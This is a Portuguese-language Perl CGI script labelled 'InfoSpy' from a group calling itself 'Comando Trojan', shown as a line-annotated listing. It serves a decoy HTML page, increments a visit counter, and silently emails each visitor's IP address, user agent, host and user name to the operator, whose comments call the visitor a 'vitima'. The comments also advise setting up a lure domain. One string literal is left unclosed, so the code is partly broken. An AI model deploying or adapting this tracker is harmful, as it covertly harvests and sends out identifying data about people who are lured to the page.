2020-10-10 02:59:39 +00:00
|
|
|
|
#/usr/bin/perl
|
|
|
|
|
|
################################################
|
|
|
|
|
|
# #
|
|
|
|
|
|
#**********************************************#
|
|
|
|
|
|
#* _ _ *#
|
|
|
|
|
|
#* |\_\\-\ /-//_/| *#
|
|
|
|
|
|
#* | \\-| |-// | *#
|
|
|
|
|
|
#* \ /~\\_____//~\ / *#
|
2020-11-14 07:35:28 +00:00
|
|
|
|
#* ` / \ ´ *#
|
2020-10-10 02:59:39 +00:00
|
|
|
|
#* | () () | Comando Trojan *#
|
|
|
|
|
|
#* \ ^ / -=- *#
|
|
|
|
|
|
#* ||||| www.comandotrojan.cjb.net *#
|
|
|
|
|
|
#* ||||| *#
|
|
|
|
|
|
#* *#
|
|
|
|
|
|
#**********************************************#
|
|
|
|
|
|
# #
|
|
|
|
|
|
# Vai Abaixo o CGI InfoSpy by iradium #
|
|
|
|
|
|
# #
|
|
|
|
|
|
# Por Favor Preserve estas Linhas #
|
|
|
|
|
|
# #
|
|
|
|
|
|
# chmod 755 #
|
|
|
|
|
|
# #
|
|
|
|
|
|
################################################
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print "Content-type: text/html\n\n";
|
|
|
|
|
|
|
|
|
|
|
|
$c = "contador.txt";
|
|
|
|
|
|
#Nome do .txt log
|
|
|
|
|
|
$mailprog = "/usr/sbin/sendmail -t";
|
2020-11-14 07:35:28 +00:00
|
|
|
|
#Preste Atenção o real caminho do email no seu server
|
2020-10-10 02:59:39 +00:00
|
|
|
|
$emailadm = "seu_email\@seu_site.com.br;
|
|
|
|
|
|
#Deixe o \ no email
|
|
|
|
|
|
$vitima = "lamer_entrou@se_fudeu.com";
|
|
|
|
|
|
#Deixe como estar
|
2020-11-14 07:35:28 +00:00
|
|
|
|
#Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi
|
2020-10-10 02:59:39 +00:00
|
|
|
|
|
|
|
|
|
|
print <<EOF;
|
2020-11-14 07:35:28 +00:00
|
|
|
|
+++ Coloque aqui o html fictício para ser exibido +++
|
2020-10-10 02:59:39 +00:00
|
|
|
|
EOF
|
|
|
|
|
|
|
|
|
|
|
|
open (N, "$c");
|
|
|
|
|
|
$n = <N>;
|
|
|
|
|
|
close (N);
|
|
|
|
|
|
|
|
|
|
|
|
$n++;
|
|
|
|
|
|
|
|
|
|
|
|
open (NE, ">$c");
|
|
|
|
|
|
print NE "$n";
|
|
|
|
|
|
close (NE);
|
|
|
|
|
|
|
|
|
|
|
|
open (MAIL, "|$mailprog") || print "Can't open $mailprog
|
|
|
|
|
|
.\n";
|
|
|
|
|
|
print MAIL "To: $vitima \n";
|
|
|
|
|
|
print MAIL "From: $emailadm\n";
|
|
|
|
|
|
print MAIL "Subject: Visita\n\n";
|
|
|
|
|
|
print MAIL "$ENV{'REMOTE_ADDR'} \n $ENV{'HTTP_USER_AGENT'} \n $ENV{'REMOTE_HOST'} \n $ENV{'REMOTE_USER'} $n\n\n ";
|
|
|
|
|
|
close MAIL;
|
|
|
|
|
|
|
2020-11-14 07:35:28 +00:00
|
|
|
|
#FIM DO ARQUIVO
|
